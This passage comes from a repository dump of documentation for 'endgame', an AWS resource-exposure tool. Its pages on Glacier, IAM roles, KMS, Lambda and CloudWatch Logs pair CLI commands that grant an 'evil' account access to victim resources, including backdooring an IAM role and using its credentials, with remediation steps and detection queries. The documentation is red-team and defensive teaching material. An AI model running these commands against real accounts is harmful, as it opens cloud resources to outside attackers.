exploitation method - will not result in access to the internet. `endgame` only modifies the resource-based policy for the ElasticSearch cluster, so this will only expose ElasticSearch clusters that are set to **Public access*.\n\n* Consider Migrating from Public Access to VPC Access, if possible. This will help you avoid a situation where an attacker could expose your ElasticSearch cluster to the internet with a single API call. For more information, see the documentation on [Migrating from Public Access to VPC Access](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html#es-migrating-public-to-vpc).\n\nHowever, if **Public Access** _is_ necessary, follow the steps below to remediate this risk and reduce the likelihood that a compromise in your AWS account could lead to exposure of your ElasticSearch cluster.\n\n* **Trusted Accounts Only**: Ensure that ElasticSearch Clusters are only shared with trusted accounts, and that the trusted accounts truly need access to the ElasticSearch cluster.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposure of your ElasticSearch Clusters**: Tightly control access to the following IAM actions:\n      - [es:UpdateElasticsearchDomainConfig](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-configuration-api.html#es-configuration-api-actions-updateelasticsearchdomainconfig): _Grants permission to modify the configuration of an Amazon ES domain, which includes the Resource-Based Policy (RBP) content. The RBP can be modified to allow access from external IAM principals or from the internet._\n      - [es:DescribeElasticsearchDomainConfig](): _Grants permission to view a description of the configuration options and status of an Amazon ES domain. This includes the Resource Based Policy content, which contains information on which IAM principals are authorized to acccess the cluster._\n      - [es:ListDomainNames](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-configuration-api.html#es-configuration-api-actions-listdomainnames): _Grants permission to display the names of all Amazon ES domains that the current user owns._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='es.amazonaws.com' and eventName='UpdateElasticsearchDomainConfig'\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [ElasticSearch Resource-based Policies](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-ac.html#es-ac-types-resource)\n* [Migrating from Public Access to VPC Access](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-vpc.html#es-migrating-public-to-vpc)\n"
  },
  {
    "path": "docs/risks/glacier.md",
    "content": "# Glacier Vault\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service glacier --name test-resource-exposure\n```\n\n* To view the contents of the Glacier Vault Access Policy, run the following:\n\n```bash\nexport VICTIM_ACCOUNT_ID=111122223333\n\naws glacier get-vault-access-policy \\\n    --account-id $VICTIM_ACCOUNT_ID \\\n    --vault-name test-resource-exposure\n```\n\n* Observe that the output of the overly permissive Glacier Vault Access Policies resembles the example shown below.\n\n\n## Example\n\nObserve that the policy below allows the evil principal (`arn:aws:iam::999988887777:user/evil`) the `glacier:*` permissions to the Glacier Vault named `test-resource-exposure`.\n\n```json\n{\n    \"policy\": {\n        \"Policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"AllowCurrentAccount\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::111122223333:root\\\"},\\\"Action\\\":\\\"glacier:*\\\",\\\"Resource\\\":\\\"arn:aws:glacier:us-east-1:111122223333:vaults/test-resource-exposure\\\"},{\\\"Sid\\\":\\\"Endgame\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::999988887777:user/evil\\\"},\\\"Action\\\":\\\"glacier:*\\\",\\\"Resource\\\":\\\"arn:aws:glacier:us-east-1:111122223333:vaults/test-resource-exposure\\\"}]}\"\n    }\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Trusted Accounts Only**: Ensure that Glacier Vaults are only shared with trusted accounts, and that the trusted accounts truly need access to the Vaults.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n* **Restrict access to IAM permissions that could lead to exposure of your Vaults**: Tightly control access to the following IAM actions:\n      - [glacier:GetVaultAccessPolicy](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-GetVaultAccessPolicy.html): _Retrieves the access-policy subresource set on the vault_\n      - [glacier:ListVaults](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-vaults-get.html): _Lists all vaults_\n      - [glacier:SetVaultAccessPolicy](https://docs.aws.amazon.com/amazonglacier/latest/dev/api-SetVaultAccessPolicy.html): _Configures an access policy for a vault and will overwrite an existing policy._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='glacier.amazonaws.com' and eventName='SetVaultAccessPolicy'\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='glacier.amazonaws.com' and (eventName='SetVaultAccessPolicy' and requestParameters.policy.policy like 'Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [set-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/set-vault-access-policy.html)\n* [get-vault-access-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/glacier/get-vault-access-policy.html)"
  },
  {
    "path": "docs/risks/iam-roles.md",
    "content": "# IAM Roles (via AssumeRole)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service iam --name test-resource-exposure\n```\n\n* Alternatively, to expose the resource using the AWS CLI:\n\nCreate a file titled `Evil-Trust-Policy.json` with the following contents:\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Endgame\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::999988887777:user/evil\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\n```\n\n\nApply the evil Assume Role Policy by running the following from the victim account:\n\n```bash\naws iam update-assume-role-policy --role-name test-resource-exposure --policy-document file://Evil-Trust-Policy.json\n```\n\n* To view the contents of the Assume Role Policy that grants access to the evil user, run the following:\n\n```bash\naws iam get-role --role-name test-resource-exposure\n```\n\n* Observe that the output of the overly permissive AssumeRolePolicy match the example shown below.\n\n## Example\n\nObserve that the content of the `AssumeRolePolicyDocument` key allows `sts:AssumeRole` access from the evil principal (`arn:aws:iam::999988887777:user/evil`)\n\n```json\n{\n    \"Role\": {\n        \"Path\": \"/\",\n        \"RoleName\": \"test-resource-exposure\",\n        \"RoleId\": \"\",\n        \"Arn\": \"arn:aws:iam::111122223333:role/test-resource-exposure\",\n        \"CreateDate\": \"2021-02-13T19:21:51Z\",\n        \"AssumeRolePolicyDocument\": {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": [\n                {\n                    \"Sid\": \"\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"Service\": \"ec2.amazonaws.com\"\n                    },\n                    \"Action\": \"sts:AssumeRole\"\n                },\n                {\n                    \"Sid\": \"AllowCurrentAccount\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": \"arn:aws:iam::111122223333:root\"\n                    },\n                    \"Action\": \"sts:AssumeRole\"\n                },\n                {\n                    \"Sid\": \"Endgame\",\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                        \"AWS\": \"arn:aws:iam::999988887777:user/evil\"\n                    },\n                    \"Action\": \"sts:AssumeRole\"\n                }\n            ]\n        },\n        \"Tags\": [\n            {\n                \"Key\": \"Owner\",\n                \"Value\": \"yourmom\"\n            }\n        ],\n        \"RoleLastUsed\": {}\n    }\n}\n```\n\n## Exploitation\n\n* Set your AWS Access keys to the Evil Principal (`arn:aws:iam::999988887777:user/evil`) credentials\n\n* Verify that you can run `sts:AssumeRole` to the victim account\n\n```bash\naws sts assume-role --profile evil --role-arn arn:aws:iam::111122223333:role/test-resource-exposure --role-session-name HotDogsAreSandwiches\n```\n\n* The output will contain `AccessKeyId`, `SecretAccessKey`, and `SessionToken` below. Note the values.\n\n```\n{\n    \"Credentials\": {\n        \"AccessKeyId\": \"\",\n        \"SecretAccessKey\": \"\",\n        \"SessionToken\": \"\",\n        \"Expiration\": \"2021-02-13T21:24:46Z\"\n    },\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"roleid:HotDogsAreSandwiches\",\n        \"Arn\": \"arn:aws:sts::111122223333:assumed-role/test-resource-exposure/HotDogsAreSandwiches\"\n    }\n}\n```\n\n* Set those values to your AWS credentials environment variables\n\n```bash\nexport AWS_ACCESS_KEY_ID=outputfromAccessKeyId\nexport AWS_SECRET_ACCESS_KEY=outputfromSecretAccessKey\nexport AWS_SESSION_TOKEN=outputfromSessionToken\n```\n\n* To validate that you are leveraging the victim's credentials, run `aws sts get-caller-identity` (this API Call is the equivalent of `whoami`)\n\n```bash\naws sts get-caller-identity\n```\n\n* Observe that the output of the call contains the Victim Account ID under `Account`, as well as an ARN that indicates you have assumed the victim role.\n\n```\n{\n    \"UserId\": \"AROAblah:HotDogsAreSandwiches\",\n    \"Account\": \"111122223333\",\n    \"Arn\": \"arn:aws:sts::111122223333:assumed-role/test-resource-exposure/HotDogsAreSandwiches\"\n}\n```\n\n* Congratulations! You've created a backdoor role in the victim's account 😈\n\n\n## Remediation\n\n* **Trusted Accounts Only**: Ensure that IAM roles can only be assumed by trusted accounts and the trusted principals within those accounts.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Assume IAM Roles. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your IAM Roles**: Tightly control access to the following IAM actions:\n      - [iam:UpdateAssumeRolePolicy](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAssumeRolePolicy.html): _Grants permission to update the policy that grants an IAM entity permission to assume a role_\n      - [iam:GetRole](https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetRole.html): _Grants permission to retrieve information about the specified role, including the role's path, GUID, ARN, and the role's trust policy_\n      - [iam:ListRoles](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListRoles.html): _Grants permission to list the IAM roles that have the specified path prefix_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='iam.amazonaws.com' and eventName='UpdateAssumeRolePolicy'\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [update-assume-role-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html)\n* [Learn more about IAM cross-account trust](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_common-scenarios_aws-accounts.html)"
  },
  {
    "path": "docs/risks/kms.md",
    "content": "# KMS Keys\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service kms --name test-resource-exposure\n```\n\n* To view the contents of the Glacier Vault Access Policy, run the following:\n\n```bash\nexport VICTIM_KEY_ARN=arn:aws:kms:us-east-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\n\naws kms get-key-policy --key-id $VICTIM_KEY_ARN --policy-name default\n```\n\n* Observe that the output of the overly permissive KMS Key Policy resembles the example shown below.\n\n## Example\n\nObserve that the policy below allows the evil principal (`arn:aws:iam::999988887777:user/evil`) the `kms:*` permissions to the KMS Key.\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Endgame\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::999988887777:user/evil\"\n            },\n            \"Action\": \"kms:*\",\n            \"Resource\": \"arn:aws:kms:us-east-1:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab\"\n        }\n    ]\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n* **Trusted Accounts Only**: Ensure that KMS Keys are only shared with trusted accounts, and that the trusted accounts truly need access to the key.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to  KMS Keys. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your KMS Keys**: Tightly control access to the following IAM actions:\n      - [kms:PutKeyPolicy](https://docs.aws.amazon.com/kms/latest/APIReference/API_PutKeyPolicy.html): _Controls permission to replace the key policy for the specified customer master key_\n      - [kms:GetKeyPolicy](https://docs.aws.amazon.com/kms/latest/APIReference/API_GetKeyPolicy.html): _Controls permission to view the key policy for the specified customer master key_\n      - [kms:ListKeys](https://docs.aws.amazon.com/kms/latest/APIReference/API_ListKeys.html): _Controls permission to view the key ID and Amazon Resource Name (ARN) of all customer master keys in the account_\n      - [kms:ListAliases](https://docs.aws.amazon.com/kms/latest/APIReference/API_ListAliases.html): _Controls permission to view the aliases that are defined in the account. Aliases are optional friendly names that you can associate with customer master keys_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='kms.amazonaws.com' and eventName='PutKeyPolicy'\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter eventSource='kms.amazonaws.com' and (eventName='PutKeyPolicy' and requestParameters.policy like 'Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [put-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/put-key-policy.html)\n* [get-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/get-key-policy.html)"
  },
  {
    "path": "docs/risks/lambda-functions.md",
    "content": "# Lambda Function Cross-Account Access\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [Basic Detection](#basic-detection)\n* [References](#references)\n\nAWS Lambda Permission Policies (aka resource-based policies) can allow functions to be invoked from AWS accounts other than the one it is running in.\n\nCompromised Lambda functions are a known attack path for [Privilege Escalation](https://resources.infosecinstitute.com/topic/cloudgoat-walkthrough-lambda-privilege-escalation/) and other nefarious use cases. While the impact often depends on the context of the Lambdas itself, Lambda functions often modify AWS infrastructure or have data plane access. Abusing these capabilities could compromise the confidentiality and integrity of the resources in the account.\n\nExisting Exploitation tools such as [Pacu](https://github.com/RhinoSecurityLabs/pacu) have capabilities that help attackers exploit compromised Lambda functions. Pacu, for example, has modules that leverage Lambda functions to [backdoor new IAM roles](https://github.com/RhinoSecurityLabs/pacu/tree/master/modules/lambda__backdoor_new_roles), to [modify security groups](https://github.com/RhinoSecurityLabs/pacu/tree/master/modules/lambda__backdoor_new_sec_groups), and to [create new IAM users](https://github.com/RhinoSecurityLabs/pacu/tree/master/modules/lambda__backdoor_new_users). As such, Lambda functions are high-value targets to attackers, and existing exploitation frameworks such as Pacu and others increase the likelihood for abuse when a Lambda function is compromised.\n\n## Steps to Reproduce\n\n* **Option 1**: To expose the Lambda function using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service lambda --name test-resource-exposure\n```\n\n* **Option 2**: To expose the Lambda Function using AWS CLI, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL_ACCOUNT=999988887777\n\naws lambda add-permission \\\n    --function-name test-resource-exposure \\\n    --action lambda:* \\\n    --statement-id Endgame \\\n    --principal $EVIL_PRINCIPAL_ACCOUNT\n```\n\n* To view the contents of the exposed resource policy, run the following:\n\n```bash\naws lambda get-policy --function-name test-resource-exposure\n```\n\n* Observe that the contents of the exposed resource policy match the example shown below.\n\n## Example\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Endgame\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"999988887777\"\n      },\n      \"Action\": [\n        \"lambda:*\"\n      ],\n      \"Resource\": \"arn:aws:lambda:us-east-1:111122223333:test-resource-exposure\"\n    }\n  ]\n}\n```\n\n## Exploitation\n\n* Authenticate to the `evil` account (In this example, `arn:aws:iam::999988887777:user/evil`)\n\n* Run the following command to invoke the function in the victim account:\n\n```bash\nexport VICTIM_LAMBDA=arn:aws:lambda:us-east-1:111122223333:test-resource-exposure\naws lambda invoke --function-name $VICTIM_LAMBDA\n```\n\n* Observe that the output resembles the following:\n\n```json\n{\n    \"ExecutedVersion\": \"$LATEST\",\n    \"StatusCode\": 200\n}\n```\n\n## Remediation\n\n* **Trusted Accounts Only**: Ensure that cross-account Lambda functions allow access only to trusted accounts to prevent unknown function invocation requests\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Functions. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your Lambda Functions**: Tightly control access to the following IAM actions:\n      - [lambda:AddPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddPermission.html): _Grants permission to give an AWS service or another account permission to use an AWS Lambda function_\n      - [lambda:GetPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetPolicy.html): _Grants permission to view the resource-based policy for an AWS Lambda function, version, or alias_\n      - [lambda:InvokeFunction](https://docs.aws.amazon.com/lambda/latest/dg/API_Invoke.html): _Grants permission to invoke an AWS Lambda function_\n      - [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_\n      - [lambda:RemovePermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemovePermission.html): _Grants permission to revoke function-use permission from an AWS service or another account_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## Basic Detection\nThe following CloudWatch Log Insights query will include exposure actions taken by endgame:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='lambda.amazonaws.com' and eventName like 'AddPermission'\n```\n\nThe following query detects policy modifications which include the default IOC string:\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent\n| filter eventSource='lambda.amazonaws.com' and (eventName like 'AddPermission' and requestParameters.statementId='Endgame')\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\n## References\n\n* [aws lambda add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html)\n* [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda)\n"
  },
  {
    "path": "docs/risks/lambda-layers.md",
    "content": "# Lambda Layers\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service lambda-layer --name test-resource-exposure:1\n```\n\n* To view the contents of the Lambda layer policy, run the following:\n\n```bash\nexport VICTIM_RESOURCE_ARN=arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure\nexport VERSION=3\naws lambda get-layer-version-policy \\\n    --layer-name $VICTIM_RESOURCE_ARN \\\n    --version-number $VERSION\n```\n\n* Observe that the output of the overly permissive Lambda Layer Policy resembles the example shown below.\n\n## Example\n\nObserve that the Evil principal's account ID (`999988887777`) is given `lambda:GetLayerVersion` access to the Lambda layer `arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1`.\n\n```json\n{\n    \"Policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Id\\\":\\\"default\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"AllowCurrentAccount\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::111122223333:root\\\"},\\\"Action\\\":\\\"lambda:GetLayerVersion\\\",\\\"Resource\\\":\\\"arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1\\\"},{\\\"Sid\\\":\\\"Endgame\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::999988887777:root\\\"},\\\"Action\\\":\\\"lambda:GetLayerVersion\\\",\\\"Resource\\\":\\\"arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1\\\"}]}\",\n    \"RevisionId\": \"\"\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n* **Trusted Accounts Only**: Ensure that Lambda Layers are only shared with trusted accounts.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Layers. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.\n* **Restrict access to IAM permissions that could lead to exposure of your Lambda Layers**: Tightly control access to the following IAM actions:\n      - [lambda:AddLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddLayerVersionPermission.html): _Grants permission to add permissions to the resource-based policy of a version of an AWS Lambda layer_\n      - [lambda:GetLayerVersionPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetLayerVersionPolicy.html): _Grants permission to view the resource-based policy for a version of an AWS Lambda layer_\n      - [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_\n      - [lambda:ListLayers](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayers.html): _Grants permission to retrieve a list of AWS Lambda layers, with details about the latest version of each layer_\n      - [lambda:ListLayerVersions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayerVersions.html): _Grants permission to retrieve a list of versions of an AWS Lambda layer_\n      - [lambda:RemoveLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemoveLayerVersionPermission.html): _Grants permission to remove a statement from the permissions policy for a version of an AWS Lambda layer_\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## References\n\n* [aws lambda add-layer-version-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-layer-version-permission.html)\n* [aws lambda get-layer-version-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/get-layer-version-policy.html)\n* [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda)\n"
  },
  {
    "path": "docs/risks/logs.md",
    "content": "# CloudWatch Logs Resource Policies\n\nCloudWatch Resource Policies allow other AWS services or IAM Principals to put log events into the account.\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* [References](#references)\n\n## Steps to Reproduce\n\n* To expose the resource using `endgame`, run the following from the victim account:\n\n```bash\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\nendgame expose --service cloudwatch --name test-resource-exposure\n```\n\n* To view the contents of the exposed resource policy, run the following:\n\n```bash\naws logs describe-resource-policies\n```\n\n* Observe that the contents of the exposed resource policy match the example shown below.\n\n## Example\n\n```json\n{\n    \"resourcePolicies\": [\n        {\n            \"policyName\": \"test-resource-exposure\",\n            \"policyDocument\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"AWS\\\":\\\"arn:aws:iam::999988887777:root\\\"},\\\"Action\\\":[\\\"logs:PutLogEventsBatch\\\",\\\"logs:PutLogEvents\\\",\\\"logs:CreateLogStream\\\"],\\\"Resource\\\":\\\"arn:aws:logs:*\\\"}]}\",\n            \"lastUpdatedTime\": 1613244111319\n        }\n    ]\n}\n```\n\n## Exploitation\n\n```\nTODO\n```\n\n## Remediation\n\n> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊\n\n* **Trusted Accounts Only**: Ensure that CloudWatch Logs access is only shared with trusted accounts, and that the trusted accounts truly need access to write to the CloudWatch Logs.\n* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.\n* **Restrict access to IAM permissions that could lead to exposing write access to your CloudWatch Logs**: Tightly control access to the following IAM actions:\n      - [logs:PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html): _Creates or updates a resource policy allowing other AWS services to put log events to this account_\n      - [logs:DeleteResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteResourcePolicy.html): _Deletes a resource policy from this account. This revokes the access of the identities in that policy to put log events to this account._\n      - [logs:DescribeResourcePolicies](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DescribeResourcePolicies.html): _Lists the resource policies in this account._\n\nAlso, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## References\n\n* [CloudWatch Logs Resource Policies](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/iam-access-control-overview-cwl.html)\n* [API Documentation: PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html)\n* [aws logs put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-resource-policy.html)\n* [aws logs describe-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/logs/describe-resource-policies.html)"
  },
  {
    "path": "docs/risks/rds-snapshots.md",
